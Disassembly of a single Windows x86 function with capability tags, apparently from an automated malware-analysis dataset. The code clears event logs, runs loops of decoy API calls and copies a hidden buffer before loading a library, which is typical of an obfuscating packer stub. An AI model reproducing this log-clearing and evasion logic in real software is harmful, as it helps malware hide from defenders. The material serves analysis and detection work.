Function at 0x415780
Capabilities:
Access the windows event log
Clear windows event logs
Create pipe
Get file attributes
Get hostname
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d74
call fcn.004070e0
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push edi
xor edi, edi
jmp 0x4157b0
cmp dword [0x4f32dc], 0x7d
jne 0x4157bf
push 0
push 0
call ebx
cmp edi, 0x4e5
jne 0x4157d6
mov eax, dword [0x41a268]
add eax, 0x9e49
mov dword [0x4f32dc], eax
cmp dword [0x4f32dc], 0xbcf
jne 0x41581b
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x1d5c]
push eax
mov word [ebp - 0x1d50], cx
mov word [ebp - 0x1d4e], dx
mov ecx, dword [ebp - 0x1d50]
push ecx
push edx
push edx
push edx
call esi
mov dword [0x41ad50], 0xec58ac98
mov dword [0x41ad54], 0xffffffff
inc edi
cmp edi, 0x114aff4
jl 0x4157b0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x56051f
jne 0x415844
mov edx, dword [0x419c58]
mov dword [0x4f340c], edx
cmp dword [0x4f32dc], 0x3c
jne 0x415851
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x415830
cmp dword [0x4f32dc], 0x7c
jne 0x41597a
push 0
push 0
lea eax, [ebp - 0x1d74]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea ecx, [ebp - 0x1d60]
push ecx
lea edx, [ebp - 0x404]
push edx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0x2e
lea eax, [ebp - 0x1c34]
push esi
push eax
mov dword [ebp - 0x1c38], esi
call fcn.00404520
add esp, 0xc
push esi
lea ecx, [ebp - 0x1c38]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea edx, [ebp - 0x1d4c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
push esi
push esi
lea eax, [ebp - 0x1d5c]
push eax
mov dword [ebp - 0x1d5c], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor edx, edx
xor ecx, ecx
mov word [ebp - 0x1d56], dx
xor eax, eax
mov word [ebp - 0x1d4e], cx
lea edx, [ebp - 0x1d68]
push edx
mov word [ebp - 0x1d50], ax
mov eax, dword [ebp - 0x1d50]
push eax
mov word [ebp - 0x1d58], cx
mov ecx, dword [ebp - 0x1d58]
push ecx
lea edx, [ebp - 0x1d54]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea eax, [ebp - 0x1c04]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [0x4f32dc], 0x2d
jne 0x41596b
push esi
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push esi
call fcn.004011f6
push esi
call fcn.0040120c
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x24bfb
jg 0x4159a1
inc esi
cmp esi, 0xeba57
jl 0x415988
cmp dword [0x4f32dc], 0x2a
jne 0x415a99
xor esi, esi
push esi
mov dword [0x4f32d0], esi
mov dword [0x4f32d4], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea ecx, [ebp - 0x1d50]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
lea edx, [ebp - 0x1d54]
push edx
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
xor eax, eax
lea edx, [ebp - 0xc04]
push edx
push str.binotumugir
mov dword [ebp - 0x1d6e], eax
mov dword [ebp - 0x1d6a], eax
mov dword [ebp - 0x1d66], eax
mov word [ebp - 0x1d62], ax
lea eax, [ebp - 0x1d70]
push eax
push esi
xor ecx, ecx
push esi
mov word [ebp - 0x1d70], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
lea ecx, [ebp - 0x1d60]
push ecx
push str.uyewidatoyejet
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
lea edx, [ebp - 0x404]
push edx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
lea eax, [ebp - 0x1804]
push eax
push str.sidosunohusuvewuhamen
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push esi
push esi
call fcn.0040109d
push esi
call fcn.0040100f
push esi
call fcn.0040112c
push esi
push esi
call fcn.0040109d
push esi
push esi
call fcn.0040109d
add esp, 0x20
call fcn.004153f0
mov ecx, dword [0x4f32dc]
xor eax, eax
test ecx, ecx
jbe 0x415add
mov edi, dword [0x4f340c]
mov esi, dword [0x4f3124]
mov edx, 0x17bc
jmp 0x415ac0
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x415ad8
mov dword [0x4f3128], edx
inc eax
cmp eax, ecx
jb 0x415ac0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00415420
call fcn.004156f0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x4f32dc], 0x41
jne 0x415b17
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x415b24
call fcn.00415410
cmp dword [0x4f32dc], 0xc
jne 0x415b3a
lea ecx, [ebp - 0x1d54]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x415b00
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
jmp 0x415b60
cmp dword [0x4f32dc], 0x7c4
mov dword [0x4f312c], edi
jne 0x415b79
push str.zoniluyepayakepuketeruw
call esi
sub ebx, 1
jne 0x415b60
mov ecx, dword [ebp - 0x1c28]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x415b9f
cmp ecx, 0xf5bed7
jne 0x415ba7
inc eax
cmp eax, 0x687ed2
jl 0x415b90
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret